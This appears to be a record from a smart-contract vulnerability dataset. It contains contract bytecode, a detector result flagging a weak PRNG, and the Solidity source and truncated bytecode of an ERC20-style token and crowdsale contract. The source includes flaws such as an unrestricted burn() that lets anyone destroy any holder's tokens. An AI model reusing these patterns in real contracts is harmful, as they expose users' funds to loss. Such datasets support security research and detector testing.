b836001018190555061056a6064600554028460000154611a7e90919063ffffffff16565b83600001819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600a600554029081150290604051600060405180830381858888f1935050505015156105d857600080fd5b6105e183611a9c565b3373ffffffffffffffffffffffffffffffffffffffff167f69ef0764837f3c60121feed37e6660557646d7e723b80c690d96b86dc1c7563a8585600101548560405180848152602001838152602001828152602001935050505060405180910390a250505050565b6000806000836003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106bc57600080fd5b603260055402341415156106cf57600080fd5b6002858154811015156106de57fe5b90600052602060002090600302019350836001015492506106fd611aac565b9150601482101561072e57610721610abe8560010154611a7e90919063ffffffff16565b84600101819055506107b0565b604682101561075d5761075061157c8560010154611a7e90919063ffffffff16565b84600101819055506107af565b605a82101561078c5761077f612af88560010154611a7e90919063ffffffff16565b84600101819055506107ae565b6107a5616b6c8560010154611a7e90919063ffffffff16565b84600101819055505b5b5b6107c7348560000154611a7e90919063ffffffff16565b84600001819055506107d884611a9c565b3373ffffffffffffffffffffffffffffffffffffffff167f69ef0764837f3c60121feed37e6660557646d7e723b80c690d96b86dc1c7563a8686600101548660405180848152602001838152602001828152602001935050505060405180910390a25050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089c57600080fd5b8060058190555050565b60006001600280548060010182816108be9190611b67565b9160005260206000209060030201600060606040519081016040528060008152602001600081526020014281525090919091506000820151816000015560208201518160010155604082015181600201555050039050336003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000836003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109dc57600080fd5b600a60055402341415156109ef57600080fd5b6002858154811015156109fe57fe5b9060005260206000209060030201935083600101549250610a1d611aac565b91506014821015610a4e57610a416102268560010154611a7e90919063ffffffff16565b8460010181905550610ad0565b6046821015610a7d57610a7061044c8560010154611a7e90919063ffffffff16565b8460010181905550610acf565b605a821015610aac57610a9f6108988560010154611a7e90919063ffffffff16565b8460010181905550610ace565b610ac561157c8560010154611a7e90919063ffffffff16565b84600101819055505b5b5b610ae7348560000154611a7e90919063ffffffff16565b8460000181905550610af884611a9c565b3373ffffffffffffffffffffffffffffffffffffffff167f69ef0764837f3c60121feed37e6660557646d7e723b80c690d96b86dc1c7563a8686600101548660405180848152602001838152602001828152602001935050505060405180910390a25050505050565b610b69611b99565b610b71611b99565b600080600280549050604051805910610b875750595b9080825280602002602001820160405250925060009150600090505b600280549050811015610c765784600282815481101515610bc057fe5b906000526020600020906003020160000154118015610c3e57503373ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15610c6957808383815181101515610c5257fe5b906020019060200201818152505081806001019250505b8080600101915050610ba3565b829350505050919050565b60055481565b6000600280549050905090565b600281815481101515610ca357fe5b90600052602060002090600302016000915090508060000154908060010154908060020154905083565b610cd5611b99565b610cdd611b99565b600080600280549050604051805910610cf35750595b9080825280602002602001820160405250925060009150600090505b600280549050811015610db6578473ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610da957808383815181101515610d9257fe5b906020019060200201818152505081806001019250505b8080600101915050610d0f565b829350505050919050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000836003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6757600080fd5b60646005540234141515610e7a57600080fd5b600285815481101515610e8957fe5b9060005260206000209060030201935083600101549250610ea8611aac565b91506014821015610ed957610ecc6117708560010154611a7e90919063ffffffff16565b8460010181905550610f5b565b6046821015610f0857610efb612ee08560010154611a7e90919063ffffffff16565b8460010181905550610f5a565b605a821015610f3757610f2a615dc08560010154611a7e90919063ffffffff16565b8460010181905550610f59565b610f5061ea608560010154611a7e90919063ffffffff16565b84600101819055505b5b5b610f72348560000154611a7e90919063ffffffff16565b8460000181905550610f8384611a9c565b3373ffffffffffffffffffffffffffffffffffffffff167f69ef0764837f3c60121feed37e6660557646d7e723b80c690d96b86dc1c7563a8686600101548660405180848152602001838152602001828152602001935050505060405180910390a25050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000836003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108457600080fd5b6005543414151561109457600080fd5b6002858154811015156110a357fe5b90600052602060002090600302019350836001015492506110c2611aac565b915060148210156110f2576110e560328560010154611a7e90919063ffffffff16565b8460010181905550611172565b60468210156111205761111360648560010154611a7e90919063ffffffff16565b8460010181905550611171565b605a82101561114e5761114160c88560010154611a7e90919063ffffffff16565b8460010181905550611170565b6111676101f48560010154611a7e90919063ffffffff16565b84600101819055505b5b5b611189348560000154611a7e90919063ffffffff16565b846000018190555061119a84611a9c565b3373ffffffffffffffffffffffffffffffffffffffff167f69ef0764837f3c60121feed37e6660557646d7e723b80c690d96b86dc1c7563a8686600101548660405180848152602001838152602001828152602001935050505060405180910390a25050505050565b6000806000806000866003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127957600080fd5b60028881548110151561128857fe5b906000526020600020906003020195506002878154811015156112a757fe5b906000526020600020906003020194506112c085611b56565b15156112cb57600080fd5b61012b85600101541180156112e4575060008660010154115b15156112ef57600080fd5b6112f7611aac565b93508460010154866001015401606487600101540281151561131557fe5b0492508284101561145f573373ffffffffffffffffffffffffffffffffffffffff166108fc86600001549081150290604051600060405180830381858888f19350505050151561136457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f458c0c274622ba86ca2821b352af045dfb0253a92bbc2b3eec1c5f377d9b71158760010154600360008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168860010154888a60000154604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060405180910390a2600085600001819055506000856001018190555042866002018190555061164c565b600a600987600001540281151561147257fe5b0491506003600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156114e857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc838860000154039081150290604051600060405180830381858888f19350505050151561154f57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f458c0c274622ba86ca2821b352af045dfb0253a92bbc2b3eec1c5f377d9b71158760010154600360008b815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16886001015488600a60098d60000154028115156115d957fe5b04604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060405180910390a260008660000181905550600086600101819055505b5050505050505050565b600080826003600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c757600080fd5b6002848154811015156116d657fe5b906000526020600020906003020192508260020154421115611795573373ffffffffffffffffffffffffffffffffffffffff166108fc84600001549081150290604051600060405180830381858888f19350505050151561173657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f1e0838adfec9c0f1f35a5d8685ae76cdffb8c674527480f52aa5c0a4e002c860858560000154604051808381526020018281526020019250505060405180910390a26118bc565b601460138460000154028115156117a857fe5b0491503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156117eb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc838560000154039081150290604051600060405180830381858888f19350505050151561185257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f1e0838adfec9c0f1f35a5d8685ae76cdffb8c674527480f52aa5c0a4e002c860856014601387600001540281151561189e57fe5b04604051808381526020018281526020019250505060405180910390a25b600083600001819055506000836001018190555060006003600086815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119c057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515611a9257fe5b8091505092915050565b6001544201816002018190555050565b6000611ac46001600454611a7e90919063ffffffff16565b6004819055506064426004546001430340416040518085815260200184815260200183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401945050505050604051809103902060019004811515611b5057fe5b06905090565b600042826002015411159050919050565b815481835581811511611b9457600302816003028360005260206000209182019101611b939190611bad565b5b505050565b602060405190810160405280600081525090565b611be191905b80821115611bdd576000808201600090556001820160009055600282016000905550600301611bb3565b5090565b905600a165627a7a7230582023cc1979e6151a498e50b347f7a2a5d66e50a5e94f28af5c2f0b5388c530f3cb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
| 5,997 |
0xebed6da3e9355f1aa402f976c054db7bc16be7e0
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IgfContract is Ownable
{
using SafeMath for uint256;
//INVESTOR REPOSITORY
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => uint256) internal totalAllowed;
/**
* @dev total number of tokens in existence
*/
uint256 internal totSupply;
//COMMON
function totalSupply() view public returns(uint256)
{
return totSupply;
}
function getTotalAllowed(address _owner) view public returns(uint256)
{
return totalAllowed[_owner];
}
function setTotalAllowed(address _owner, uint256 _newValue) internal
{
totalAllowed[_owner]=_newValue;
}
function setTotalSupply(uint256 _newValue) internal
{
totSupply=_newValue;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) view public returns(uint256)
{
return balances[_owner];
}
function setBalanceOf(address _investor, uint256 _newValue) internal
{
require(_investor!=0x0000000000000000000000000000000000000000);
balances[_investor]=_newValue;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) view public returns(uint256)
{
require(msg.sender==_owner || msg.sender == _spender || msg.sender==getOwner());
return allowed[_owner][_spender];
}
function setAllowance(address _owner, address _spender, uint256 _newValue) internal
{
require(_spender!=0x0000000000000000000000000000000000000000);
uint256 newTotal = getTotalAllowed(_owner).sub(allowance(_owner, _spender)).add(_newValue);
require(newTotal <= balanceOf(_owner));
allowed[_owner][_spender]=_newValue;
setTotalAllowed(_owner,newTotal);
}
// TOKEN
constructor(uint256 _rate, uint256 _minPurchase,uint256 _cap) public
{
require(_minPurchase>0);
require(_rate > 0);
require(_cap > 0);
rate=_rate;
minPurchase=_minPurchase;
cap = _cap;
}
bytes32 public constant name = "IGFToken";
bytes3 public constant symbol = "IGF";
uint8 public constant decimals = 8;
uint256 public cap;
bool internal mintingFinished;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Burn(address indexed _owner, uint256 _value);
modifier canMint() {
require(!mintingFinished);
_;
}
function getName() view public returns(bytes32)
{
return name;
}
function getSymbol() view public returns(bytes3)
{
return symbol;
}
function getTokenDecimals() view public returns(uint256)
{
return decimals;
}
function getMintingFinished() view public returns(bool)
{
return mintingFinished;
}
function getTokenCap() view public returns(uint256)
{
return cap;
}
function setTokenCap(uint256 _newCap) external onlyOwner
{
cap=_newCap;
}
/**
* @dev Burns the tokens of the specified address.
* @param _owner The holder of tokens.
* @param _value The amount of tokens burned
*/
function burn(address _owner,uint256 _value) external {
require(_value <= balanceOf(_owner));
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
setBalanceOf(_owner, balanceOf(_owner).sub(_value));
setTotalSupply(totalSupply().sub(_value));
emit Burn(_owner, _value);
}
function updateTokenInvestorBalance(address _investor, uint256 _newValue) onlyOwner external
{
addTokens(_investor,_newValue);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) external{
require(msg.sender!=_to);
require(_value <= balanceOf(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
setBalanceOf(msg.sender, balanceOf(msg.sender).sub(_value));
setBalanceOf(_to, balanceOf(_to).add(_value));
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) external {
require(_value <= balanceOf(_from));
require(_value <= allowance(_from,_to));
setBalanceOf(_from, balanceOf(_from).sub(_value));
setBalanceOf(_to, balanceOf(_to).add(_value));
setAllowance(_from,_to,allowance(_from,_to).sub(_value));
emit Transfer(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _owner The address of the owner which allows tokens to a spender
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _owner,address _spender, uint256 _value) external {
require(msg.sender ==_owner);
setAllowance(msg.sender,_spender, _value);
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _owner The address of the owner which allows tokens to a spender
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _owner, address _spender, uint _addedValue) external{
require(msg.sender==_owner);
setAllowance(_owner,_spender,allowance(_owner,_spender).add(_addedValue));
emit Approval(_owner, _spender, allowance(_owner,_spender));
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _owner The address of the owner which allows tokens to a spender
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _owner,address _spender, uint _subtractedValue) external{
require(msg.sender==_owner);
uint oldValue = allowance(_owner,_spender);
if (_subtractedValue > oldValue) {
setAllowance(_owner,_spender, 0);
} else {
setAllowance(_owner,_spender, oldValue.sub(_subtractedValue));
}
emit Approval(_owner, _spender, allowance(_owner,_spender));
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) canMint internal{
require(totalSupply().add(_amount) <= getTokenCap());
setTotalSupply(totalSupply().add(_amount));
setBalanceOf(_to, balanceOf(_to).add(_amount));
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function addTokens(address _to, uint256 _amount) canMint internal{
require( totalSupply().add(_amount) <= getTokenCap());
setTotalSupply(totalSupply().add(_amount));
setBalanceOf(_to, balanceOf(_to).add(_amount));
emit Transfer(address(0), _to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() canMint onlyOwner external{
mintingFinished = true;
emit MintFinished();
}
//Crowdsale
// what is minimal purchase of tokens
uint256 internal minPurchase;
// how many token units a buyer gets per wei
uint256 internal rate;
// amount of raised money in wei
uint256 internal weiRaised;
/**
* event for token purchase logging
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event InvestmentsWithdrawn(uint indexed amount, uint indexed timestamp);
function () external payable {
}
function getTokenRate() view public returns(uint256)
{
return rate;
}
function getMinimumPurchase() view public returns(uint256)
{
return minPurchase;
}
function setTokenRate(uint256 _newRate) external onlyOwner
{
rate = _newRate;
}
function setMinPurchase(uint256 _newMin) external onlyOwner
{
minPurchase = _newMin;
}
function getWeiRaised() view external returns(uint256)
{
return weiRaised;
}
// low level token purchase function
function buyTokens() external payable{
require(msg.value > 0);
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
require(validPurchase(tokens));
// update state
weiRaised = weiRaised.add(weiAmount);
mint(msg.sender, tokens);
emit TokenPurchase(msg.sender, weiAmount, tokens);
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.div(getTokenRate());
}
// get all rised wei
function withdrawInvestments() external onlyOwner{
uint amount = address(this).balance;
getOwner().transfer(amount * 1 wei);
emit InvestmentsWithdrawn(amount, block.timestamp);
}
function getCurrentInvestments() view external onlyOwner returns(uint256)
{
return address(this).balance;
}
function getOwner() view internal returns(address)
{
return owner;
}
// @return true if the transaction can buy tokens
function validPurchase(uint256 tokensAmount) internal view returns (bool) {
bool nonZeroPurchase = tokensAmount != 0;
bool acceptableAmount = tokensAmount >= getMinimumPurchase();
return nonZeroPurchase && acceptableAmount;
}
// CASHIER
uint256 internal dividendsPaid;
event DividendsPayment(uint256 amount, address beneficiary);
function getTotalDividendsPaid() view external onlyOwner returns (uint256)
{
return dividendsPaid;
}
function getBalance() view public onlyOwner returns (uint256)
{
return address(this).balance;
}
function payDividends(address beneficiary,uint256 amount) external onlyOwner returns(bool)
{
require(amount > 0);
validBeneficiary(beneficiary);
beneficiary.transfer(amount);
dividendsPaid.add(amount);
emit DividendsPayment(amount, beneficiary);
return true;
}
function depositDividends() payable external onlyOwner
{
address(this).transfer(msg.value);
}
function validBeneficiary(address beneficiary) view internal
{
require(balanceOf(beneficiary)>0);
}
//duplicates
function getInvestorBalance(address _address) view external returns(uint256)
{
return balanceOf(_address);
}
}
|
0x6080604052600436106101cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101cf57806309442d661461020257806312065fe01461022d578063150704011461025857806317d7de7c146102c357806318160ddd146102f657806323b872dd1461032157806324f65ee71461038e5780632854bc7e146103b95780632f087a28146103e6578063313ce56714610411578063355274ea146104425780633e2d70041461046d57806340582f13146104985780635ea63913146104c357806361241c281461051a578063676cb63d1461054757806370a082311461057657806379fdf548146105cd5780637d64bcb41461061a5780638d2a0910146106315780638da5cb5b1461065c57806395d89b41146106b3578063965232c01461071e5780639dc29fac14610775578063a3916164146107c2578063a9059cbb146107d9578063af5b065a14610826578063bcdd612114610851578063d0febe4c146108be578063d9afa38b146108c8578063dd62ed3e1461092d578063defa92ee146109a4578063e1f21c67146109ae578063e8307d0014610a1b578063f019c26714610a48578063f2fde38b14610ab5575b005b3480156101db57600080fd5b506101e4610af8565b60405180826000191660001916815260200191505060405180910390f35b34801561020e57600080fd5b50610217610b1c565b6040518082815260200191505060405180910390f35b34801561023957600080fd5b50610242610b96565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b5061026d610c10565b60405180827cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156102cf57600080fd5b506102d8610c38565b60405180826000191660001916815260200191505060405180910390f35b34801561030257600080fd5b5061030b610c60565b6040518082815260200191505060405180910390f35b34801561032d57600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c6a565b005b34801561039a57600080fd5b506103a3610d71565b6040518082815260200191505060405180910390f35b3480156103c557600080fd5b506103e460048036038101908080359060200190929190505050610d7d565b005b3480156103f257600080fd5b506103fb610de2565b6040518082815260200191505060405180910390f35b34801561041d57600080fd5b50610426610dec565b604051808260ff1660ff16815260200191505060405180910390f35b34801561044e57600080fd5b50610457610df1565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b50610482610df7565b6040518082815260200191505060405180910390f35b3480156104a457600080fd5b506104ad610e01565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e0b565b6040518082815260200191505060405180910390f35b34801561052657600080fd5b5061054560048036038101908080359060200190929190505050610e1d565b005b34801561055357600080fd5b5061055c610e82565b604051808215151515815260200191505060405180910390f35b34801561058257600080fd5b506105b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e99565b6040518082815260200191505060405180910390f35b3480156105d957600080fd5b50610618600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee2565b005b34801561062657600080fd5b5061062f610f4b565b005b34801561063d57600080fd5b5061064661100b565b6040518082815260200191505060405180910390f35b34801561066857600080fd5b50610671611070565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611095565b60405180827cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561072a57600080fd5b5061075f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110b9565b6040518082815260200191505060405180910390f35b34801561078157600080fd5b506107c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611102565b005b3480156107ce57600080fd5b506107d76111b1565b005b3480156107e557600080fd5b50610824600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112aa565b005b34801561083257600080fd5b5061083b6113ad565b6040518082815260200191505060405180910390f35b34801561085d57600080fd5b506108bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113b7565b005b6108c661148a565b005b3480156108d457600080fd5b50610913600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153d565b604051808215151515815260200191505060405180910390f35b34801561093957600080fd5b5061098e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611684565b6040518082815260200191505060405180910390f35b6109ac6117b8565b005b3480156109ba57600080fd5b50610a19600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061185c565b005b348015610a2757600080fd5b50610a466004803603810190808035906020019092919050505061190b565b005b348015610a5457600080fd5b50610ab3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611970565b005b348015610ac157600080fd5b50610af6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a63565b005b7f494746546f6b656e00000000000000000000000000000000000000000000000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b60007f4947460000000000000000000000000000000000000000000000000000000000905090565b60007f494746546f6b656e000000000000000000000000000000000000000000000000905090565b6000600454905090565b610c7383610e99565b8111151515610c8157600080fd5b610c8b8383611684565b8111151515610c9957600080fd5b610cbd83610cb883610caa87610e99565b611bb890919063ffffffff16565b611bd1565b610ce182610cdc83610cce86610e99565b611c5590919063ffffffff16565b611bd1565b610d078383610d0284610cf48888611684565b611bb890919063ffffffff16565b611c73565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600860ff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd857600080fd5b8060058190555050565b6000600554905090565b600881565b60055481565b6000600854905090565b6000600954905090565b6000610e1682610e99565b9050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7857600080fd5b8060088190555050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3d57600080fd5b610f478282611d90565b5050565b600660009054906101000a900460ff16151515610f6757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc257600080fd5b6001600660006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106857600080fd5b600a54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f494746000000000000000000000000000000000000000000000000000000000081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61110b82610e99565b811115151561111957600080fd5b61113d826111388361112a86610e99565b611bb890919063ffffffff16565b611bd1565b61115f61115a8261114c610c60565b611bb890919063ffffffff16565b611e8b565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120e57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16319050611230611e95565b73ffffffffffffffffffffffffffffffffffffffff166108fc600183029081150290604051600060405180830381858888f19350505050158015611278573d6000803e3d6000fd5b5042817fca2a1b3271e5bb96e9186f6